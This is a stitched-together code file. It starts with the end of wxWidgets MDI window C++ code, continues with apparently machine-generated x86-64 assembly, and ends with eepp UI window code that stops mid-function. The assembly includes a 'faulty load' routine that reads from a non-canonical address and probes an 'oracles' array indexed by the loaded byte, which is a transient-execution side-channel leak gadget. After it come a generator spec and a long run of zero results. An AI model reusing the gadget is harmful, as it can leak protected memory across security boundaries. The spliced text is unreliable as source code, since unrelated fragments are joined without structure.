WM_HSCROLL, WM_VSCROLL, so we can't easily determine what // scroll position we're at. // This makes it hard to paint patterns or bitmaps in the background, // and have the client area scrollable as well. if ( event.GetOrientation() == wxHORIZONTAL ) m_scrollX = event.GetPosition(); // Always returns zero! else m_scrollY = event.GetPosition(); // Always returns zero! event.Skip(); } void wxMDIClientWindow::DoSetSize(int x, int y, int width, int height, int sizeFlags) { // Try to fix a problem whereby if you show an MDI child frame, then reposition the // client area, you can end up with a non-refreshed portion in the client window // (see OGL studio sample). So check if the position is changed and if so, // redraw the MDI child frames. const wxPoint oldPos = GetPosition(); wxWindow::DoSetSize(x, y, width, height, sizeFlags | wxSIZE_FORCE); const wxPoint newPos = GetPosition(); if ((newPos.x != oldPos.x) || (newPos.y != oldPos.y)) { if (GetParent()) { wxWindowList::compatibility_iterator node = GetParent()->GetChildren().GetFirst(); while (node) { wxWindow *child = node->GetData(); if (child->IsKindOf(CLASSINFO(wxMDIChildFrame))) { ::RedrawWindow(GetHwndOf(child), NULL, NULL, RDW_FRAME | RDW_ALLCHILDREN | RDW_INVALIDATE); } node = node->GetNext(); } } } } void wxMDIChildFrame::OnIdle(wxIdleEvent& event) { // wxMSW prior to 2.5.3 created MDI child frames as visible, which resulted // in flicker e.g. when the frame contained controls with non-trivial // layout. Since 2.5.3, the frame is created hidden as all other top level // windows. In order to maintain backward compatibility, the frame is shown // in OnIdle, unless Show(false) was called by the programmer before. if ( m_needsInitialShow ) { Show(true); } // MDI child frames get their WM_SIZE when they're constructed but at this // moment they don't have any children yet so all child windows will be // positioned incorrectly when they are added later - to fix this, we // generate an artificial size event here if ( m_needsResize ) { m_needsResize = false; // avoid any possibility of recursion SendSizeEvent(); } event.Skip(); } // --------------------------------------------------------------------------- // private helper functions // --------------------------------------------------------------------------- namespace { void MDISetMenu(wxWindow *win, HMENU hmenuFrame, HMENU hmenuWindow) { if ( hmenuFrame || hmenuWindow ) { if ( !::SendMessage(GetWinHwnd(win), WM_MDISETMENU, (WPARAM)hmenuFrame, (LPARAM)hmenuWindow) ) { DWORD err = ::GetLastError(); if ( err ) { wxLogApiError(wxT("SendMessage(WM_MDISETMENU)"), err); } } } // update menu bar of the parent window wxWindow *parent = win->GetParent(); wxCHECK_RET( parent, wxT("MDI client without parent frame? weird...") ); ::SendMessage(GetWinHwnd(win), WM_MDIREFRESHMENU, 0, 0L); ::DrawMenuBar(GetWinHwnd(parent)); } void MDIInsertWindowMenu(wxWindow *win, WXHMENU hMenu, HMENU menuWin) { HMENU hmenu = (HMENU)hMenu; if ( menuWin ) { // Try to insert Window menu in front of Help, otherwise append it. int N = GetMenuItemCount(hmenu); bool inserted = false; for ( int i = 0; i < N; i++ ) { wxChar buf[256]; if ( !::GetMenuString(hmenu, i, buf, WXSIZEOF(buf), MF_BYPOSITION) ) { wxLogLastError(wxT("GetMenuString")); continue; } const wxString label = wxStripMenuCodes(buf); if ( label == wxGetStockLabel(wxID_HELP, wxSTOCK_NOFLAGS) ) { inserted = true; ::InsertMenu(hmenu, i, MF_BYPOSITION | MF_POPUP | MF_STRING, (UINT_PTR)menuWin, wxString(wxGetTranslation(WINDOW_MENU_LABEL)).wx_str()); break; } } if ( !inserted ) { ::AppendMenu(hmenu, MF_POPUP, (UINT_PTR)menuWin, wxString(wxGetTranslation(WINDOW_MENU_LABEL)).wx_str()); } } MDISetMenu(win, hmenu, menuWin); } void MDIRemoveWindowMenu(wxWindow *win, WXHMENU hMenu) { HMENU hmenu = (HMENU)hMenu; if ( hmenu ) { wxChar buf[1024]; int N = ::GetMenuItemCount(hmenu); for ( int i = 0; i < N; i++ ) { if ( !::GetMenuString(hmenu, i, buf, WXSIZEOF(buf), MF_BYPOSITION) ) { // Ignore successful read of menu string with length 0 which // occurs, for example, for a maximized MDI child system menu if ( ::GetLastError() != 0 ) { wxLogLastError(wxT("GetMenuString")); } continue; } if ( wxStrcmp(buf, wxGetTranslation(WINDOW_MENU_LABEL)) == 0 ) { if ( !::RemoveMenu(hmenu, i, MF_BYPOSITION) ) { wxLogLastError(wxT("RemoveMenu")); } break; } } } if ( win ) { // we don't change the windows menu, but we update the main one MDISetMenu(win, hmenu, NULL); } } void UnpackMDIActivate(WXWPARAM wParam, WXLPARAM lParam, WXWORD *activate, WXHWND *hwndAct, WXHWND *hwndDeact) { *activate = true; *hwndAct = (WXHWND)lParam; *hwndDeact = (WXHWND)wParam; } } // anonymous namespace #endif // wxUSE_MDI && !defined(__WXUNIVERSAL__)
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x76a1, %rbx nop xor $17409, %rsi mov (%rbx), %r9 sub %rdx, %rdx lea addresses_A_ht+0x10bdf, %r9 nop nop nop sub $58288, %r13 mov (%r9), %r11d nop nop xor $37747, %r11 lea addresses_A_ht+0xe8cf, %rsi lea addresses_WT_ht+0x6ed7, %rdi nop nop inc %rdx mov $35, %rcx rep movsq inc %rcx lea addresses_A_ht+0x1390f, %rdx nop nop nop nop and $44846, %rsi vmovups (%rdx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r9 sub $39119, %rcx lea addresses_WT_ht+0x1e027, %rcx nop nop nop mfence movl $0x61626364, (%rcx) nop nop nop sub $53189, %r9 lea addresses_A_ht+0x190cf, %rsi lea addresses_D_ht+0x122cf, %rdi nop nop sub $5418, %r13 mov $89, %rcx rep movsq nop inc %rdx lea addresses_normal_ht+0xc3df, %rsi lea addresses_A_ht+0x194f, %rdi nop nop xor $38842, %r9 mov $115, %rcx rep movsl nop add %r11, %r11 lea addresses_WT_ht+0x1c00f, %r13 nop sub $21030, %rsi movl $0x61626364, (%r13) nop nop nop cmp %rbx, %rbx lea addresses_D_ht+0x14daf, %r11 clflush (%r11) and $50940, %r13 movb (%r11), %dl nop nop nop sub %r9, %r9 lea addresses_D_ht+0x6201, %r11 clflush (%r11) add %rsi, %rsi movb (%r11), %cl nop cmp %rsi, %rsi lea addresses_normal_ht+0xbdff, %rdi cmp %rcx, %rcx mov $0x6162636465666768, %r13 movq %r13, (%rdi) nop xor %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r8 push %rbx // Faulty Load mov $0x5cb4c00000000cf, %r12 nop nop nop xor $25084, %r8 movups (%r12), %xmm3 vpextrq $0, %xmm3, %rbx lea oracles, %r8 and $0xff, %rbx shlq $12, %rbx mov (%r8,%rbx,1), %rbx pop %rbx pop %r8 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#include <eepp/ui/cuiwindow.hpp> #include <eepp/ui/cuimanager.hpp> #include <eepp/graphics/cprimitives.hpp> namespace EE { namespace UI { cUIWindow::cUIWindow( const cUIWindow::CreateParams& Params ) : cUIComplexControl( Params ), mWinFlags( Params.WinFlags ), mWindowDecoration( NULL ), mButtonClose( NULL ), mButtonMinimize( NULL ), mButtonMaximize( NULL ), mTitle( NULL ), mModalCtrl( NULL ), mDecoSize( Params.DecorationSize ), mBorderSize( Params.BorderSize ), mMinWindowSize( Params.MinWindowSize ), mButtonsPositionFixer( Params.ButtonsPositionFixer ), mButtonsSeparation( Params.ButtonsSeparation ), mMinCornerDistance( Params.MinCornerDistance ), mResizeType( RESIZE_NONE ), mTitleFontColor( Params.TitleFontColor ), mBaseAlpha( Params.BaseAlpha ), mDecoAutoSize( Params.DecorationAutoSize ), mBorderAutoSize( Params.BorderAutoSize ) { cUIManager::instance()->WindowAdd( this ); cUIComplexControl::CreateParams tcParams; tcParams.Parent( this ); tcParams.Flags |= UI_REPORT_SIZE_CHANGE_TO_CHILDS; mContainer = eeNew( cUIComplexControl, ( tcParams ) ); mContainer->Enabled( true ); mContainer->Visible( true ); mContainer->Size( mSize ); mContainer->AddEventListener( cUIEvent::EventOnPosChange, cb::Make1( this, &cUIWindow::ContainerPosChange ) ); if ( !( mWinFlags & UI_WIN_NO_BORDER ) ) { cUIControlAnim::CreateParams tParams; tParams.Parent( this ); mWindowDecoration = eeNew( cUIControlAnim, ( tParams ) ); mWindowDecoration->Visible( true ); mWindowDecoration->Enabled( false ); mBorderLeft = eeNew( cUIControlAnim, ( tParams ) ); mBorderLeft->Enabled( true ); mBorderLeft->Visible( true ); mBorderRight = eeNew( cUIControlAnim, ( tParams ) ); mBorderRight->Enabled( true ); mBorderRight->Visible( true ); mBorderBottom = eeNew( cUIControlAnim, ( tParams ) ); mBorderBottom->Enabled( true ); mBorderBottom->Visible( true ); if ( mWinFlags & UI_WIN_DRAGABLE_CONTAINER ) mContainer->DragEnable( true ); cUIComplexControl::CreateParams ButtonParams; ButtonParams.Parent( this ); if ( mWinFlags & UI_WIN_CLOSE_BUTTON ) { mButtonClose = eeNew( cUIComplexControl, ( ButtonParams ) ); mButtonClose->Visible( true ); mButtonClose->Enabled( true ); if ( mWinFlags & UI_WIN_USE_DEFAULT_BUTTONS_ACTIONS ) { mButtonClose->AddEventListener( cUIEvent::EventMouseClick, cb::Make1( this, &cUIWindow::ButtonCloseClick ) ); } } if ( ( mWinFlags & UI_WIN_RESIZEABLE ) && ( mWinFlags & UI_WIN_MAXIMIZE_BUTTON ) ) { mButtonMaximize = eeNew( cUIComplexControl, ( ButtonParams ) ); mButtonMaximize->Visible( true ); mButtonMaximize->Enabled( true ); if ( mWinFlags & UI_WIN_USE_DEFAULT_BUTTONS_ACTIONS ) { mButtonMaximize->AddEventListener( cUIEvent::EventMouseClick, cb::Make1( this, &cUIWindow::ButtonMaximizeClick ) ); } } if ( mWinFlags & UI_WIN_MINIMIZE_BUTTON ) { mButtonMinimize = eeNew( cUIComplexControl, ( ButtonParams ) ); mButtonMinimize->Visible( true ); mButtonMinimize->Enabled( true ); if ( mWinFlags & UI_WIN_USE_DEFAULT_BUTTONS_ACTIONS ) { mButtonMinimize->AddEventListener( cUIEvent::EventMouseClick, cb::Make1( this, &cUIWindow::ButtonMinimizeClick ) ); } } DragEnable( true ); } if ( IsModal() ) { CreateModalControl(); } Alpha( mBaseAlpha ); ApplyDefaultTheme(); } cUIWindow::~cUIWindow() { cUIManager::instance()->WindowRemove( this ); cUIManager::instance()->SetFocusLastWindow( this ); SendCommonEvent( cUIEvent::EventOnWindowClose ); } void cUIWindow::CreateModalControl() { cUIControl * Ctrl = cUIManager::instance()->MainControl(); if ( NULL == mModalCtrl ) { mModalCtrl = eeNew( cUIControlAnim, ( cUIControlAnim::CreateParams( Ctrl , eeVector2i(0,0), Ctrl->Size(), UI_ANCHOR_LEFT | UI_ANCHOR_TOP | UI_ANCHOR_RIGHT | UI_ANCHOR_BOTTOM ) ) ); } else { mModalCtrl->Pos( 0, 0 ); mModalCtrl->Size( Ctrl->Size() ); } DisableByModal(); } void cUIWindow::EnableByModal() { if ( IsModal() ) { cUIControl * CtrlChild = cUIManager::instance()->MainControl()->ChildGetFirst(); while ( NULL != CtrlChild ) { if ( CtrlChild != mModalCtrl && CtrlChild != this && CtrlChild->ControlFlags() & UI_CTRL_FLAG_DISABLED_BY_MODAL_WINDOW ) { CtrlChild->Enabled( true ); CtrlChild->WriteCtrlFlag( UI_CTRL_FLAG_DISABLED_BY_MODAL_WINDOW, 0 ); } CtrlChild = CtrlChild->NextGet(); } } } void cUIWindow::DisableByModal() { if ( IsModal() ) { cUIControl * CtrlChild = cUIManager::instance()->MainControl()->ChildGetFirst(); while ( NULL != CtrlChild ) { if ( CtrlChild != mModalCtrl && CtrlChild != this && CtrlChild->Enabled() ) { CtrlChild->Enabled( false ); CtrlChild->WriteCtrlFlag( UI_CTRL_FLAG_DISABLED_BY_MODAL_WINDOW, 1 ); } CtrlChild = CtrlChild->NextGet(); } } } Uint32 cUIWindow::Type() const { return UI_TYPE_WINDOW; } bool cUIWindow::IsType( const Uint32& type ) const { return cUIWindow::Type() == type ? true : cUIComplexControl::IsType( type ); } void cUIWindow::ContainerPosChange( const cUIEvent * Event ) { eeVector2i PosDiff = mContainer->Pos() - eeVector2i( mBorderLeft->Size().Width(), mWindowDecoration->Size().Height() ); if ( PosDiff.x != 0 || PosDiff.y != 0 ) { mContainer->Pos( mBorderLeft->Size().Width(), mWindowDecoration->Size().Height() ); Pos( mPos + PosDiff ); } } void cUIWindow::ButtonCloseClick( const cUIEvent * Event ) { CloseWindow(); SendCommonEvent( cUIEvent::EventOnWindowCloseClick ); } void cUIWindow::CloseWindow() { if ( NULL != mButtonClose ) mButtonClose->Enabled( false ); if ( NULL != mButtonMaximize ) mButtonMaximize->Enabled( false ); if ( NULL != mButtonMinimize ) mButtonMinimize->Enabled( false ); if ( NULL != mModalCtrl ) { mModalCtrl->Close(); mModalCtrl = NULL; } if ( cTime::Zero != cUIThemeManager::instance()->ControlsFadeOutTime() ) CloseFadeOut( cUIThemeManager::instance()->ControlsFadeOutTime() ); else Close(); } void cUIWindow::Close() { cUIComplexControl::Close(); EnableByModal(); } void cUIWindow::ButtonMaximizeClick( const cUIEvent * Event ) { Maximize(); SendCommonEvent( cUIEvent::EventOnWindowMaximizeClick ); } void cUIWindow::ButtonMinimizeClick( const cUIEvent * Event ) { Hide(); SendCommonEvent( cUIEvent::EventOnWindowMinimizeClick ); } void cUIWindow::SetTheme( cUITheme *Theme ) { cUIComplexControl::SetTheme( Theme ); mContainer->SetThemeControl ( Theme, "winback" ); if ( !( mWinFlags & UI_WIN_NO_BORDER ) ) { mWindowDecoration->SetThemeControl ( Theme, "windeco" ); mBorderLeft->SetThemeControl ( Theme, "winborderleft" ); mBorderRight->SetThemeControl ( Theme, "winborderright" ); mBorderBottom->SetThemeControl ( Theme, "winborderbottom" ); if ( NULL != mButtonClose ) { mButtonClose->SetThemeControl( Theme, "winclose" ); mButtonClose->Size( mButtonClose->GetSkinSize() ); } if ( NULL != mButtonMaximize ) { mButtonMaximize->SetThemeControl( Theme, "winmax" ); mButtonMaximize->Size( mButtonMaximize->GetSkinSize() ); } if ( NULL != mButtonMinimize ) { mButtonMinimize->SetThemeControl( Theme, "winmin" ); mButtonMinimize->Size( mButtonMinimize->GetSkinSize() ); } FixChildsSize(); GetMinWinSize(); } } void cUIWindow::GetMinWinSize() { if ( NULL == mWindowDecoration || ( mMinWindowSize.x != 0 && mMinWindowSize.y != 0 ) ) return; eeSize tSize; tSize.x = mBorderLeft->Size().Width() + mBorderRight->Size().Width() - mButtonsPositionFixer.x; tSize.y = mWindowDecoration->Size().Height() + mBorderBottom->Size().Height(); if ( NULL != mButtonClose ) tSize.x += mButtonClose->Size().Width(); if ( NULL != mButtonMaximize ) tSize.x += mButtonMaximize->Size().Width(); if ( NULL != mButtonMinimize ) tSize.x += mButtonMinimize->Size().Width(); if ( mMinWindowSize.x < tSize.x ) mMinWindowSize.x = tSize.x; if ( mMinWindowSize.y < tSize.y ) mMinWindowSize.y = tSize.y; } void cUIWindow::OnSizeChange() { if ( mSize.x < mMinWindowSize.x || mSize.y < mMinWindowSize.y ) { if ( mSize.x < mMinWindowSize.x && mSize.y < mMinWindowSize.y ) { Size( mMinWindowSize ); } else if ( mSize.x < mMinWindowSize.x ) { Size( eeSize( mMinWindowSize.x, mSize.y ) ); } else { Size( eeSize( mSize.x, mMinWindowSize.y ) ); } } else { FixChildsSize(); cUIComplexControl::OnSizeChange(); } } void cUIWindow::Size( const eeSize& Size ) { if ( NULL != mWindowDecoration ) { eeSize size = Size; size.x += mBorderLeft->Size().Width() + mBorderRight->Size().Width(); size.y += mWindowDecoration->Size().Height() + mBorderBottom->Size().Height(); cUIComplexControl::Size( size ); } else { cUIComplexControl::Size( Size ); } } void cUIWindow::Size( const Int32& Width, const Int32& Height ) { Size( eeSize( Width, Height ) ); } const eeSize& cUIWindow::Size() { return cUIComplexControl::Size(); } void cUIWindow::FixChildsSize() { if ( NULL == mWindowDecoration ) { mContainer->Size( mSize.Width(), mSize.Height() ); return; } if ( mDecoAutoSize ) { mDecoSize = eeSize( mSize.Width(), mWindowDecoration->GetSkinSize().Height() ); } mWindowDecoration->Size( mDecoSize ); if ( mBorderAutoSize ) { mBorderBottom->Size( mSize.Width(), mBorderBottom->GetSkinSize().Height() ); } else { mBorderBottom->Size( mSize.Width(), mBorderSize.Height() ); } Uint32 BorderHeight = mSize.Height() - mDecoSize.Height() - mBorderBottom->Size().Height(); if ( mBorderAutoSize ) { mBorderLeft->Size( mBorderLeft->GetSkinSize().Width() , BorderHeight ); mBorderRight->Size( mBorderRight->GetSkinSize().Width(), BorderHeight ); } else { mBorderLeft->Size( mBorderSize.Width(), BorderHeight ); mBorderRight->Size( mBorderSize.Width(), BorderHeight ); } mBorderLeft->Pos( 0, mWindowDecoration->Size().Height() ); mBorderRight->Pos( mSize.Width() - mBorderRight->Size().Width(), mWindowDecoration->Size().Height() ); mBorderBottom->Pos( 0, mSize.Height() - mBorderBottom->Size().Height() ); mContainer->Pos( mBorderLeft->Size().Width(), mWindowDecoration->Size().Height() ); mContainer->Size( mSize.Width() - mBorderLeft->Size().Width() - mBorderRight->Size().Width(), mSize.Height() - mWindowDecoration->Size().Height() - mBorderBottom->Size().Height() ); Uint32 yPos; if ( NULL != mButtonClose ) { yPos = mWindowDecoration->Size().Height() / 2 - mButtonClose->Size().Height() / 2 + mButtonsPositionFixer.y; mButtonClose->Pos( mWindowDecoration->Size().Width() - mBorderRight->Size().Width() - mButtonClose->Size().Width() + mButtonsPositionFixer.x, yPos ); } if ( NULL != mButtonMaximize ) { yPos = mWindowDecoration->Size().Height() / 2 - mButtonMaximize->Size().Height() / 2 + mButtonsPositionFixer.y; if ( NULL != mButtonClose ) { mButtonMaximize->Pos( mButtonClose->Pos().x - mButtonsSeparation - mButtonMaximize->Size().Width(), yPos ); } else { mButtonMaximize->Pos( mWindowDecoration->Size().Width() - mBorderRight->Size().Width() - mButtonMaximize->Size().Width() + mButtonsPositionFixer.x, yPos ); } } if ( NULL != mButtonMinimize ) { yPos = mWindowDecoration->Size().Height() / 2 - mButtonMinimize->Size().Height() / 2 + mButtonsPositionFixer.y; if ( NULL != mButtonMaximize ) { mButtonMinimize->Pos( mButtonMaximize->Pos().x - mButtonsSeparation - mButtonMinimize->Size().Width(), yPos ); } else { if ( NULL != mButtonClose ) { mButtonMinimize->Pos( mButtonClose->Pos().x - mButtonsSeparation - mButtonMinimize->Size().Width(), yPos ); } else { mButtonMinimize->Pos( mWindowDecoration->Size().Width() - mBorderRight->Size().Width() - mButtonMinimize->Size().Width() + mButtonsPositionFixer.x, yPos ); } } } FixTitleSize(); } Uint32 cUIWindow::OnMessage( const cUIMessage * Msg ) { switch ( Msg->Msg() ) { case cUIMessage::MsgFocus: { ToFront(); break; } case cUIMessage::MsgMouseDown: { DoResize( Msg ); break; } case cUIMessage::MsgWindowResize: { if ( IsModal() && NULL != mModalCtrl ) { mModalCtrl->Size( cUIManager::instance()->MainControl()->Size() ); } break; } case cUIMessage::MsgMouseExit: { cUIManager::instance()->SetCursor( EE_CURSOR_ARROW ); break; } case cUIMessage::MsgDragStart: { cUIManager::instance()->SetCursor( EE_CURSOR_HAND ); break; } case cUIMessage::MsgDragEnd: { cUIManager::instance()->SetCursor( EE_CURSOR_ARROW ); break; } } return cUIComplexControl::OnMessage( Msg ); } void cUIWindow::DoResize ( const cUIMessage * Msg ) { if ( NULL == mWindowDecoration ) return; if ( !( mWinFlags & UI_WIN_RESIZEABLE ) || !( Msg->Flags() & EE_BUTTON_LMASK ) || RESIZE_NONE != mResizeType || ( cUIManager::instance()->LastPressTrigger() & EE_BUTTON_LMASK ) ) return; DecideResizeType( Msg->Sender() ); } void cUIWindow::DecideResizeType( cUIControl * Control ) { eeVector2i Pos = cUIManager::instance()->GetMousePos(); WorldToControl( Pos ); if ( Control == this ) { if ( Pos.x <= mBorderLeft->Size().Width() ) { TryResize( RESIZE_TOPLEFT ); } else if ( Pos.x >= ( mSize.Width() - mBorderRight->Size().Width() ) ) { TryResize( RESIZE_TOPRIGHT ); } else if ( Pos.y <= mBorderBottom->Size().Height() ) { if ( Pos.x < mMinCornerDistance ) { TryResize( RESIZE_TOPLEFT ); } else if ( Pos.x > mSize.Width() - mMinCornerDistance ) { TryResize( RESIZE_TOPRIGHT ); } else { TryResize( RESIZE_TOP ); } } } else if ( Control == mBorderBottom ) { if ( Pos.x < mMinCornerDistance ) { TryResize( RESIZE_LEFTBOTTOM ); } else if ( Pos.x > mSize.Width() - mMinCornerDistance ) { TryResize( RESIZE_RIGHTBOTTOM ); } else { TryResize( RESIZE_BOTTOM ); } } else if ( Control == mBorderLeft ) { if ( Pos.y >= mSize.Height() - mMinCornerDistance ) { TryResize( RESIZE_LEFTBOTTOM ); } else { TryResize( RESIZE_LEFT ); } } else if ( Control == mBorderRight ) { if ( Pos.y >= mSize.Height() - mMinCornerDistance ) { TryResize( RESIZE_RIGHTBOTTOM ); } else { TryResize( RESIZE_RIGHT ); } } } void cUIWindow::TryResize( const UI_RESIZE_TYPE& Type ) { if ( RESIZE_NONE != mResizeType ) return; DragEnable( false ); eeVector2i Pos = cUIManager::instance()->GetMousePos(); WorldToControl( Pos ); mResizeType = Type; switch ( mResizeType ) { case RESIZE_RIGHT: { mResizePos.x = mSize.Width() - Pos.x; break; } case RESIZE_LEFT: { mResizePos.x = Pos.x; break; } case RESIZE_TOP: { mResizePos.y = Pos.y; break; } case RESIZE_BOTTOM: { mResizePos.y = mSize.Height() - Pos.y; break; } case RESIZE_RIGHTBOTTOM: { mResizePos.x = mSize.Width() - Pos.x; mResizePos.y = mSize.Height() - Pos.y; break; } case RESIZE_LEFTBOTTOM: { mResizePos.x = Pos.x; mResizePos.y = mSize.Height() - Pos.y; break; } case RESIZE_TOPLEFT: { mResizePos.x = Pos.x; mResizePos.y = Pos.y; break; } case RESIZE_TOPRIGHT: { mResizePos.y = Pos.y; mResizePos.x = mSize.Width() - Pos.x; break; } case RESIZE_NONE: { } } } void cUIWindow::EndResize() { mResizeType = RESIZE_NONE; } void cUIWindow::UpdateResize() { if ( RESIZE_NONE == mResizeType ) return; if ( !( cUIManager::instance()->PressTrigger() & EE_BUTTON_LMASK ) ) { EndResize(); DragEnable( true ); return; } eeVector2i Pos = cUIManager::instance()->GetMousePos(); WorldToControl( Pos ); switch ( mResizeType ) { case RESIZE_RIGHT: { InternalSize( Pos.x + mResizePos.x, mSize.Height() ); break; } case RESIZE_BOTTOM: { InternalSize( mSize.Width(), Pos.y + mResizePos.y ); break; } case RESIZE_LEFT: { Pos.x -= mResizePos.x; cUIControl::Pos( mPos.x + Pos.x, mPos.y ); InternalSize( mSize.Width() - Pos.x, mSize.Height() ); break; } case RESIZE_TOP: { Pos.y -= mResizePos.y; cUIControl::Pos( mPos.x, mPos.y + Pos.y ); InternalSize( mSize.Width(), mSize.Height() - Pos.y ); break; } case RESIZE_RIGHTBOTTOM: { Pos += mResizePos; InternalSize( Pos.x, Pos.y ); break; } case RESIZE_TOPLEFT: { Pos -= mResizePos; cUIControl::Pos( mPos.x + Pos.x, mPos.y + Pos.y ); InternalSize( mSize.Width() - Pos.x, mSize.Height() - Pos.y ); break; } case RESIZE_TOPRIGHT: { Pos.y -= mResizePos.y; Pos.x += mResizePos.x; cUIControl::Pos( mPos.x, mPos.y + Pos.y ); InternalSize( Pos.x, mSize.Height() - Pos.y ); break; } case RESIZE_LEFTBOTTOM: { Pos.x -= mResizePos.x; Pos.y += mResizePos.y; cUIControl::Pos( mPos.x + Pos.x, mPos.y ); InternalSize( mSize.Width() - Pos.x, Pos.y ); break; } case RESIZE_NONE: { } } } void cUIWindow::InternalSize( const Int32& w, const Int32& h ) { InternalSize( eeSize( w, h ) ); } void cUIWindow::InternalSize( eeSize Size ) { if ( Size.x < mMinWindowSize.x || Size.y < mMinWindowSize.y ) { if ( 